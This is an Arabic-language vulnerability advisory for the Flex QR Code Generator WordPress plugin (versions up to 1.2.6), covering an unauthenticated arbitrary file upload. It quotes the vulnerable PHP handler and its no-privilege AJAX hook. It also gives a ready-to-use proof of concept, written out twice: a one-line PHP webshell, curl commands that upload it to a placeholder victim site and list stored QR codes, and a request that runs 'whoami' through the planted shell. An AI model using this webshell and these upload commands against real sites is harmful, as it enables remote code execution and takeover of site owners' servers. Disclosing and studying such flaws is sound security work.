
Flex QR Code Generator <= 1.2.6 - رفع ملفات تعسفي بدون مصادقة
إضافة Flex QR Code Generator لا تتحقق من صلاحيات المستخدم ولا تنظّف الملفات المرفوعة في نقطة نهاية AJAX الخاصة بـ update_qr_code، مما يسمح للمهاجمين غير المصادق عليهم برفع ملفات تعسفية بما في ذلك سكربتات PHP قابلة للتنفيذ، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد.
# Upload PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
-F "action=flexqr_update_qr" \
-F "qrId=1" \
-F "qrData={\"data\":\"https://example.com\"}" \
-F "[email protected]"
توجد الثغرة في طريقة update_qr_code الخاصة بكلاس FlexQrCodeGenerator. يسجّل الإضافة نقاط نهاية AJAX للمستخدمين غير المصادق عليهم، مما يسمح لأي زائر برفع ملفات تعسفية تُخزَّن في دليل رفع الملفات في ووردبريس.
الكود القابل للاستغلال من /qr-code-generator.php:457-589:
public function update_qr_code()
{
if (isset($_POST['qrData']) && isset($_POST['qrId'])) {
// ... validation code ...
// Handle the logo (file upload)
if (isset($_FILES['logo']) && $_FILES['logo']['error'] === UPLOAD_ERR_OK) {
$logo = $_FILES['logo'];
$upload_dir = wp_upload_dir();
$file_ext = pathinfo($logo['name'], PATHINFO_EXTENSION);
$file_name = pathinfo($logo['name'], PATHINFO_FILENAME);
$new_file_name = $file_name . '_' . $qrId . '.' . $file_ext;
$file_path = $upload_dir['path'] . '/' . $new_file_name;
if (move_uploaded_file($logo['tmp_name'], $file_path)) {
// File uploaded successfully
}
}
}
}
تنفيذ الملف من /qr-code-generator.php:504:
if (move_uploaded_file($logo['tmp_name'], $file_path)) {
$logo_url = $upload_dir['url'] . '/' . $new_file_name;
$logo_url = str_replace(home_url(), '', $logo_url);
$update_data['logo_url'] = $logo_url;
}
الوصول غير المصادق عليه من /qr-code-generator.php:41-42:
add_action('wp_ajax_flexqr_update_qr', [$this, 'update_qr_code']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
-d "action=flexqr_fetch_qr_code" \
-d "per_page=10" \
-d "page=1"
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
-F "action=flexqr_update_qr" \
-F "qrId=1" \
-F "qrData={\"data\":\"https://example.com\"}" \
-F "[email protected]"
shell_1.php?cmd=whoami